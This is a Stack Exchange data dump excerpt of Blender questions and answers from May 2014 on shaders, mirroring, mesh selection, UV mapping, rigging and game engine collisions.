  <row Id="10596" PostTypeId="2" ParentId="10595" CreationDate="2014-05-21T21:03:47.840" Score="7" Body="&lt;p&gt;Using the slider will just give one value for the entire surface (or volume, now that we have volume rendering :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using a texture will give multiple values mapped to different locations (the  depends on the texture mapping of course):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L8k0E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically the texture is supplying a value between 0-1 per ray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Think of it this way: Each &quot;light ray&quot; cast from the camera by cycles that hits your object will test to see if the mix shader is resulting in shader 1 or shader 2. If the texture controlling the factor is black (0) where the ray hit, it will bounce off the diffuse part of the shader. If it is white (1) where the ray hit, it will bounce off the glossy part of the shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can use anything which results in a value (which is pretty much anything). However that's not to say that everything will give a meaningful or useful result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that even if the factor is somewhere between 0-1, the ray will only sample one shader at a time (if you are using the progressive integrator), but with many rays sampling the same point it will converge to a pixel which is a mix between the two shaders. &lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-21T21:23:27.373" LastActivityDate="2014-05-21T21:23:27.373" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10597" PostTypeId="1" AcceptedAnswerId="10598" CreationDate="2014-05-21T21:58:35.633" Score="7" ViewCount="10208" Body="&lt;p&gt;I'm trying to simply mirror an object (maybe for the first time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I want to use the mirror command &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt; for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When  use it, blender asks to select the axis I want to use for the mirror operation, then I type &lt;code&gt;X&lt;/code&gt;, &lt;code&gt;Y&lt;/code&gt; or &lt;code&gt;Z&lt;/code&gt;, the axis is selected, I press enter or click anywhere, and nothing happens, the object just sits there the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/C4Tuw.png&quot; alt=&quot;after I type &amp;lt;code&amp;gt;ctr+m&amp;lt;/code&amp;gt;Blender asks to select a mirror axis&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2sgn1.png&quot; alt=&quot;one of the axis is slected, then I press enter but nothing happens&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could it be the problem? I can't find info about this problem.&#xA;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="1867" LastEditorUserId="12" LastEditDate="2014-05-21T23:04:25.593" LastActivityDate="2017-09-29T18:31:55.353" Title="Interactive mirror (Ctrl + M) doesn't mirror object" Tags="&lt;mirror&gt;" AnswerCount="2" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="10598" PostTypeId="2" ParentId="10597" CreationDate="2014-05-21T22:47:56.360" Score="7" Body="&lt;p&gt;When using &lt;em&gt;Interactive mirror&lt;/em&gt; as with the mirror modifier, you need to mirror about a &lt;em&gt;point&lt;/em&gt; else pertaining to the former, the object will just mirror/flip in place and if the object is symmetrical you won't see any changes. This point can be the object origin, another object or the 3d cursor depending on which mode you are using.&lt;/p&gt;&#xA;&lt;p&gt;You can either change the object's origin or simply switch the pivot point to use the &lt;em&gt;3d cursor&lt;/em&gt; and then mirror.&lt;/p&gt;&#xA;&lt;p&gt;It is also worth noting that mirroring basically just scales the object on the desired axis by -1 (so without applied rotation you might not get expected results). So as a cheap and quick alternative to &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;M&lt;/kbd&gt;, you could just select the object and use &lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt; &lt;code&gt;-1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Mirroring in place or right on the object origin or 3d cursor.&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/khR0C.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h2&gt;Mirroring about a point&lt;/h2&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XQi3E.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpmEf.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;What I did in the last example was to first translate the object over a bit on the &lt;em&gt;X&lt;/em&gt; axis and then change the pivot mode to the &lt;em&gt;3d cursor&lt;/em&gt; as the mirror tool needs a point to work around. I then invoked interactive mirror and selected the axis I wanted to mirror on which in the example is the &lt;em&gt;X axis&lt;/em&gt;. In the first one, I simply mirrored a single object and it flipped it to the opposite side, in the second, I duplicated the object and then mirrored so I had identical copies.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-05-21T22:59:36.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10599" PostTypeId="1" CreationDate="2014-05-22T00:32:39.773" Score="1" ViewCount="1041" Body="&lt;p&gt;I would like to make an object stay at the height (Z) and velocity it was created at (it's created from another object with an &lt;em&gt;Edit object&lt;/em&gt; actuator). Ideally it should be allowed to bounce up/down, but not allowed to fall (think very slow light ray).&#xA;I would like this object to bounce off only certain objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I couldn't get an object to do this with collision groups + physics (it seems like it should be possible though, so if it is, please say so :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought I would try and handle bouncing with python, however I can't figure out how to get the normal of the face it hits on collision (I'm using a collision sensor with a property)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get an object to behave like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.pasteall.org/blend/29386&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Blendfile&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-22T21:30:37.697" LastActivityDate="2014-10-20T09:30:14.773" Title="How to get the normal of the face which was hit in a collision?" Tags="&lt;game-engine&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10600" PostTypeId="1" AcceptedAnswerId="10602" CreationDate="2014-05-22T01:12:49.640" Score="8" ViewCount="6312" Body="&lt;p&gt;So the tool I'm looking for is basically something that I would expect to see in the &lt;strong&gt;&lt;em&gt;Select Menu&lt;/em&gt;&lt;/strong&gt; but I'm not sure it's there or where else to look.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, something like the following-&gt; Select a loop, then everything else towards the 3D cursor. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a visual.&lt;img src=&quot;https://i.stack.imgur.com/NMPYr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe there is python script that someone is aware of. &lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="1448" LastEditDate="2018-09-16T18:30:32.377" LastActivityDate="2018-09-16T18:30:32.377" Title="Is there a selection tool that will select everything towards the cursor?" Tags="&lt;selection-tools&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="10601" PostTypeId="2" ParentId="10600" CreationDate="2014-05-22T02:26:03.460" Score="4" Body="&lt;p&gt;I don't know of any tool which selects based on the 3D cursor, however &lt;em&gt;3D view &gt; Select &gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Selecting/Advanced#Loop_Inner-Region&quot; rel=&quot;nofollow noreferrer&quot;&gt;Select loop inner-region&lt;/a&gt;&lt;/em&gt; does pretty much does the equivalent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/j9sGh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6ieEX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It selects the side with the least geometry, so if that's not the side you want, invert the selection with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;I&lt;/kbd&gt;, or enable &lt;em&gt;Select bigger&lt;/em&gt; in the redo panel immediately after running the operator (&lt;kbd&gt;F6&lt;/kbd&gt;) or at the bottom of the tool shelf (&lt;kbd&gt;T&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think this tool was originally designed to select boundary loops which formed a ring like this, which might make the behavior of this tool appear more clear/intuitive:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ARsqi.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that you can use &lt;em&gt;select boundary loop&lt;/em&gt; to select the ring around the selection (the exact opposite behavior of &lt;em&gt;select loop inner region&lt;/em&gt;). See the above gif.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are only two possible selections based on such a boundary loop (one side or the other side), so IMO using the cursor is probably overkill.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-05-22T02:56:49.253" LastActivityDate="2014-05-22T02:56:49.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10602" PostTypeId="2" ParentId="10600" CreationDate="2014-05-22T02:46:52.853" Score="6" Body="&lt;p&gt;I don't think there exists any selection tool that uses the 3d cursor in this manner but there are a few that work in a similar way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is &lt;em&gt;Select &gt; Side of Active&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Selects all data on the mesh in a single axis&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you select at least a vertex or an edge, it will select all the faces to the positive (right) or negative (left) axis mode of that selection based on the axis you choose in the operator settings. You can also of course just invert the selection to get the other side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also &lt;em&gt;Select &gt; Loop Inner-Region&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Converts a closed selection of edges to the region of faces it encloses&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I would say this is almost the opposite of select side of active. Depending on where you select, it will select all faces to the side that has the lesser amount of faces to the end of the mesh.&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2014-05-22T08:14:09.970" LastActivityDate="2014-05-22T08:14:09.970" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10603" PostTypeId="2" ParentId="10599" CreationDate="2014-05-22T05:33:27.280" Score="1" Body="&lt;p&gt;You could try to use a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_60_6/bge.types.html#bge.types.KX_RaySensor&quot; rel=&quot;nofollow&quot;&gt;ray sensor&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c = bge.logic.getCurrentController()&#xA;ray = c.sensors[&quot;raySensorName&quot;]&#xA;&#xA;if ray.positive:&#xA;    pos_vec = Vector(ray.hitPosition)&#xA;    normal_vec = Vector(ray.hitNormal)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-23T06:29:50.653" LastActivityDate="2014-05-23T06:29:50.653" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10605" PostTypeId="2" ParentId="10563" CreationDate="2014-05-22T07:02:12.753" Score="2" Body="&lt;p&gt;A more detailed documentation on the 3D sound options you find in the &lt;a href=&quot;http://wiki.blender.org/index.php/User%3aAnOrdinaryKitten/Doc:2.6/Manual/Game_Engine/Logic/Actuators/Sound/&quot; rel=&quot;nofollow&quot;&gt;Wiki on Sound Actuator&lt;/a&gt; it illustrates the meaning of the cone and all the options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A older &lt;a href=&quot;http://bgetutorials.wordpress.com/2007/11/28/3d-sound-in-blender/&quot; rel=&quot;nofollow&quot;&gt;post&lt;/a&gt; mentions that 3D sound only works with mono (WAV) files. if this still applies you could convert your sound with a tool like &lt;a href=&quot;http://audacity.sourceforge.net/&quot; rel=&quot;nofollow&quot;&gt;Audacity&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I edited the file from the post mentioned above and needed to adjust some values in order to hear anything and uploaded it &lt;a href=&quot;http://pasteall.org/blend/29371&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-22T07:02:12.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10606" PostTypeId="1" CreationDate="2014-05-22T07:27:51.840" Score="2" ViewCount="1183" Body="&lt;p&gt;The body part shrinks when touched by the brush. I am using blender 2.66.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/z8HCb.png&quot; alt=&quot;Image of shrunken arm mesh around bone&quot;&gt; &lt;/p&gt;&#xA;" OwnerUserId="3576" LastEditorUserId="599" LastEditDate="2014-05-22T07:47:46.247" LastActivityDate="2020-06-15T14:04:17.640" Title="Why is my model shrinking when weight painted?" Tags="&lt;weight-painting&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10607" PostTypeId="2" ParentId="10575" CreationDate="2014-05-22T07:44:03.887" Score="0" Body="&lt;p&gt;As suggested in answer to &lt;a href=&quot;https://blender.stackexchange.com/questions/8235/why-does-this-strange-deformation-occur&quot;&gt;this question&lt;/a&gt; that 'stacker' pointed me to below, I did indeed manage to fix this by ensuring the curve and target geometry shared the same origin.&lt;/p&gt;&#xA;" OwnerUserId="3194" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2014-05-22T07:44:03.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10608" PostTypeId="1" CreationDate="2014-05-22T08:22:23.043" Score="1" ViewCount="612" Body="&lt;p&gt;I'm currently clueless as to how to morph a curve smoothly into a flat surface. As you can see in the image below, the black area has a flat surface, but changes into a curved surface in the red area. How can I model this smoothly? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/L3D94.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="9" LastEditDate="2014-05-22T09:13:21.373" LastActivityDate="2014-05-22T11:40:29.927" Title="How do I create a transition from a curved surface to a flat surface?" Tags="&lt;modeling&gt;&lt;workflow&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10610" PostTypeId="2" ParentId="10608" CreationDate="2014-05-22T09:52:35.130" Score="1" Body="&lt;p&gt;You could start with a cylinder &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;add a few loopcuts &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;R&lt;/kbd&gt; &lt;/li&gt;&#xA;&lt;li&gt;select the  edge rings to flatten &lt;kbd&gt;Shift&lt;/kbd&gt;-&lt;kbd&gt;Alt&lt;/kbd&gt;-&lt;kbd&gt;RMB&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;Scale along z-Axis &lt;kbd&gt;Z&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iDfZ5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that could select edges and scale the x-axis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2F5Ex.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2014-05-22T10:45:10.377" LastActivityDate="2014-05-22T10:45:10.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10611" PostTypeId="1" AcceptedAnswerId="10613" CreationDate="2014-05-22T10:42:46.257" Score="9" ViewCount="66421" Body="&lt;p&gt;I created several objects, applied its material with a texture. When I render the scene it all render nicely except one. It renders black both in cycles and BI. I have tried everything. I don't know whether I have missed something or not But I'm not getting the result properly. What is the solution to this 'rendering black' problem?&lt;/p&gt;&#xA;" OwnerUserId="3578" LastEditorUserId="2217" LastEditDate="2015-11-05T15:27:20.497" LastActivityDate="2021-04-06T14:07:57.493" Title="Why are objects rendering black even with texture (both cycles and BI)?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;" AnswerCount="4" CommentCount="7" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10612" PostTypeId="2" ParentId="10611" CreationDate="2014-05-22T11:26:12.043" Score="7" Body="&lt;p&gt;You can fix it by adding an attribute node to assign the UV map you intent to use:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I made minor changes in the node editor:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/h4kLD.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-22T11:26:12.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10613" PostTypeId="2" ParentId="10611" CreationDate="2014-05-22T11:28:39.153" Score="4" Body="&lt;p&gt;Your UV coordinates are set to the wrong set of coordinates for rendering. Click on the camea icon right of 'UVMap_final' to activate it as the UV map for rendering.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ETt1S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The Viewport and the UV Editor always show the set of UV coordinates selected (the one highlighted blue), but this has not to be the set used for rendering.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-05-22T11:28:39.153" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10614" PostTypeId="2" ParentId="10608" CreationDate="2014-05-22T11:40:29.927" Score="0" Body="&lt;p&gt;First create the flat surface and just extrude it downwards(the circled red part) and continue that way.Then add few loopcuts between the smooth and the flat ares and slide the loopcuts accordingly .If you want you can add the subdivision surface modifier and smooth to get that part nicely done.&lt;/p&gt;&#xA;" OwnerUserId="3578" LastActivityDate="2014-05-22T11:40:29.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10615" PostTypeId="1" CreationDate="2014-05-22T12:14:19.707" Score="4" ViewCount="2926" Body="&lt;p&gt;the bone is too wider than the models body(hand) and it is giving me a trouble while weight painting(the model shrinks). And when I try to resize/scale the bones it doesn't go as I needed it(unable to make it thiner with out affecting the length). I don't get the problem on vertical bones. only when adding horizontally the bone gets wider than needed. &lt;/p&gt;&#xA;" OwnerUserId="3576" LastActivityDate="2016-01-11T00:14:26.747" Title="How coould I scale a bone to fit inside the models body?" Tags="&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10616" PostTypeId="1" CreationDate="2014-05-22T12:17:03.227" Score="2" ViewCount="175" Body="&lt;p&gt;I created an object and duplicated it a number of times and arranged them in a specific order but forgot to unwrap the original object .Now I have about fifty of them without UV or texture .Is there any way to unwrap them easily and apply texture? I cannot create UVs for each of them beacause I have made some differences in each of them (like length, width ,etc ) .So is there any way of getting the work done quicker?&lt;/p&gt;&#xA;" OwnerUserId="3578" LastActivityDate="2014-05-22T14:02:35.777" Title="How to create UVs for a number of duplicated objects" Tags="&lt;modeling&gt;&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10617" PostTypeId="2" ParentId="10615" CreationDate="2014-05-22T12:26:15.077" Score="1" Body="&lt;p&gt;You cannot reduce the thickness of bones but you can change the type of bone and choose the most suitable ones for you like this :&#xA;Go to Properties&gt; Armature&gt; Display&gt; change the type of bone(Octahedral, stick, B-bone, Envelope, Wire ).&lt;/p&gt;&#xA;" OwnerUserId="3578" LastActivityDate="2014-05-22T12:26:15.077" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="10618" PostTypeId="2" ParentId="10616" CreationDate="2014-05-22T14:02:35.777" Score="3" Body="&lt;p&gt;You could pick one object as a template and setup the material and texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that select all objects which should get the material settings assigned and add the template as last object to you selected object (must be the active object).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/G3BLW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;L&lt;/kbd&gt; Opens the Make Links Popup&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ILChR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select Materials, after that open the Popup again and select Transfer UV-Maps.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nU1rH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://cgcookie.com/blender/2009/09/11/703/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Video Tutorial on Make Links&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System&quot; rel=&quot;nofollow noreferrer&quot;&gt;Documentation&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-05-22T14:02:35.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10619" PostTypeId="1" CreationDate="2014-05-22T14:57:51.080" Score="3" ViewCount="3760" Body="&lt;p&gt;There is no topic for 'paths' so I figured this would probably be a basic issue that someone can help me solve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a spaceship that I modeled. I also have a camera positioned in the distance. I am trying to get the spaceship to follow a bezier curve and fly in front of the camera. I used the &quot;Parent -&gt; Follow Path&quot; method. The problem is when it runs, the ship just goes straight down with a dashed-blue line that points to the path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried that Add Constraint to follow path, but that was even worse and I don't like having to add all the keyframes so if I can solve this with Parent-&gt;Follow Path that would be best (in my book).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your convenience, I have uploaded the file to gdrive for review&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/#folders/0BxVGCeUMKMptVEZWaHNUY3hUcUU&quot; rel=&quot;nofollow&quot;&gt;https://drive.google.com/#folders/0BxVGCeUMKMptVEZWaHNUY3hUcUU&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3583" LastEditorUserId="2217" LastEditDate="2014-10-03T00:01:31.430" LastActivityDate="2014-10-03T00:01:31.430" Title="Object Not Following Bezier Curve Properly" Tags="&lt;bezier-curves&gt;&lt;constraints&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10620" PostTypeId="1" AcceptedAnswerId="10931" CreationDate="2014-05-22T16:16:27.777" Score="1" ViewCount="1735" Body="&lt;p&gt;I've had problems with getting a third person camera to rotate correctly. I've tried taking first person camera python scripts and modifying them, as well as third person camera scripts already on the internet, and No matter what, they always rotate around the original position of the character, so when I move the character it will be able to move around like moving an object out from a rotating disk, if that makes any sense. Any help I could get with changing the rotation position would be great. Thanks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: Nevermind, figured it out. If anyone is having the same problem, let me know and I'll put my answer.&lt;/p&gt;&#xA;" OwnerUserId="3584" LastEditorUserId="3584" LastEditDate="2014-05-22T17:47:13.587" LastActivityDate="2017-09-07T09:45:09.347" Title="How do I do a third person camera in the Game Engine?" Tags="&lt;game-engine&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10621" PostTypeId="2" ParentId="10592" CreationDate="2014-05-22T16:56:35.983" Score="1" Body="&lt;p&gt;I figured out the first problem. Based on suggestions from this &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?308277-bake-ik-to-fk&quot; rel=&quot;nofollow&quot;&gt;BlenderArtists thread&lt;/a&gt; and this extremely helpful &lt;a href=&quot;http://trac.wildfiregames.com/wiki/AnimationExportTutorial&quot; rel=&quot;nofollow&quot;&gt;Wildfire Games article&lt;/a&gt;, I figured out that I needed to bake the animation with the 'visual keying' box selected. To access this, I selected the skeleton, then navigated to Bake Action (Pose &gt; Animation &gt; Bake Action...) and checked the 'Visual Keying', 'Clear Constraints', and 'Clear Parents' boxes. These options also take care of rigs that include inverse kinematics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the Wildfire Games article suggested, try to avoid unchecking 'inherit rotation' on any bone, as it will not export properly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(As for the tiny bones problem, I have no idea what's going on there)&lt;/p&gt;&#xA;" OwnerUserId="1170" LastActivityDate="2014-05-22T16:56:35.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10622" PostTypeId="1" CreationDate="2014-05-22T17:41:37.270" Score="5" ViewCount="2967" Body="&lt;p&gt;I finished modeling and making a texture for a coyote, but then decided I'd like to add some planes behind the legs and around the ruff so that I can add a texture that will make the coyote look more bushy. Below is a picture of my coyote with some rudimentary MS paint lines where I'd like to add planes that will simulate spiky fur when viewed from the side.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iNnsJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can easily add more planes for the fringe, but in order to apply texture to them, I'd have to create a new UV wrap, which will make the UV map around which I based my existing texture useless. Is there an easy way to add faces and textures to an already-textured object without ending up with an entirely new UV map?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3503" LastActivityDate="2014-07-15T22:45:49.023" Title="How do I add texture to new faces on an already-textured mesh?" Tags="&lt;texturing&gt;&lt;uv&gt;&lt;geometry&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="10623" PostTypeId="2" ParentId="10615" CreationDate="2014-05-22T18:20:27.010" Score="6" Body="&lt;p&gt;You cannot scale the default armature but if you change the bone display type to &lt;em&gt;B-Bone&lt;/em&gt;, you can use &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to scale it and make it thicker or thinner. It's also fairly easy to have the default armature display type fit inside any model by scaling it down in &lt;em&gt;Edit&lt;/em&gt; mode and making it longer and thinner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nC11w.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-05-22T18:20:27.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10624" PostTypeId="2" ParentId="8187" CreationDate="2014-05-22T19:14:54.120" Score="0" Body="&lt;p&gt;You can do this with a &lt;code&gt;Spline IK&lt;/code&gt; Constraint. Add the constraint to the last bone of the chain and set the &lt;code&gt;Chain Length&lt;/code&gt; to the number of bones (3 in your case). If you check &lt;code&gt;Even Divisions&lt;/code&gt; every bone will have the same length, regardless of their original length. The &lt;code&gt;Chain Offset&lt;/code&gt; lets you offset the location of the bones from the path. Furthermore you can have the bones stretch to the full length of the path by checking &lt;code&gt;Y Stretch&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without &lt;code&gt;Y Stretch&lt;/code&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eTp5J.png&quot; alt=&quot;Without Y Stretch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;Y Stretch&lt;/code&gt;:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/0oRUx.png&quot; alt=&quot;With Y Stretch&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="668" LastActivityDate="2014-05-22T19:14:54.120" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
